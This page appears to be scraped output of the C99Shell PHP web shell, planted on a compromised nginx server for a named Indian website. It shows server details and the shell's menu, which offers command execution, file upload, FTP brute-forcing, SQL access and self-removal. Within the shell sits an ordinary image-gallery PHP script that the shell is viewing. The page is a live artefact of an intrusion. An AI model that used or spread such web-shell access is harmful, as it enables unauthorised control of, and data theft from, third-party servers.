!C99Shell v. 2.0 [PHP 7 Update] [25.02.2019]!

Software: nginx/1.24.0. PHP/7.3.32 

uname -a: Linux ip-172-31-28-255.ec2.internal 6.1.159-181.297.amzn2023.x86_64 #1 SMP PREEMPT_DYNAMIC
Mon Dec 22 22:31:59 UTC 2025 x86_64
 

 

Safe-mode: OFF (not secure)

/www/wwwroot/itce.co.in/itce.co.in/branch2/   drwxr-xr-x
Free 30.74 GB of 49.93 GB (61.58%)
Home    Back    Forward    UPDIR    Refresh    Search    Buffer    Encoder    Tools    Proc.    FTP brute    Sec.    SQL    PHP-code    Update    Feedback    Self remove    Logout    


Viewing file:     tesimage.php (1.46 KB)      -rw-r--r--
Select action/file-type:
(+) | (+) | (+) | Code (+) | Session (+) | (+) | SDB (+) | (+) | (+) | (+) | (+) | (+) |
<style type="text/css">

  .photo {
    float: left;
    margin: 0.5em;
    border: 1px solid #ccc;
    padding: 1em;
    font-size: 10px;
  }

</style>
<?PHP
  
// filetypes to display
  
$imagetypes = array("image/jpeg""image/gif");
?>
<?PHP
  
// Original PHP code by Chirp Internet: www.chirp.com.au
  // Please acknowledge use of this code by including this header.

  
function getImages($dir)
  {
    global 
$imagetypes;

    
// array to hold return value
    
$retval = array();

    
// add trailing slash if missing
    
if(substr($dir, -1) != "/"$dir .= "/";

    
// full server path to directory
    
$fulldir "{$_SERVER['DOCUMENT_ROOT']}/$dir";

    
$d = @dir($fulldir) or die("getImages: Failed opening directory $dir for reading");
    while(
false !== ($entry $d->read())) {
      
// skip hidden files
      
if($entry[0] == ".") continue;

      
// check for image files
      
$f escapeshellarg("$fulldir$entry");
      
$mimetype trim(`file -bi $f`);
      foreach(
$imagetypes as $valid_type) {
        if(
preg_match("@^{$valid_type}@"$mimetype)) {
          
$retval[] = array(
           
'file' => "/$dir$entry",
           
'size' => getimagesize("$fulldir$entry")
          );
          break;
        }
      }
    }
    
$d->close();

    return 
$retval;
  }
?>

<?PHP
  
// fetch image details
  
$images getImages("images");

  
// display on page
  
foreach($images as $img) {
    echo 
"<img class=\"photo\" src=\"{$img['file']}\" {$img['size'][3]} alt=\"\">\n";
  }
?>

:: Command execute ::

Enter:
 
Select:
 

:: Search ::
  - regexp 

:: Upload ::
 
[ ok ]

:: Make Dir ::
 
[ ok ]
:: Make File ::
 
[ ok ]

:: Go Dir ::
 
:: Go File ::
 

--[ c99shell v. 2.0 [PHP 7 Update] [25.02.2019] maintained by KaizenLouie | C99Shell Github | Generation time: 0.0019 ]--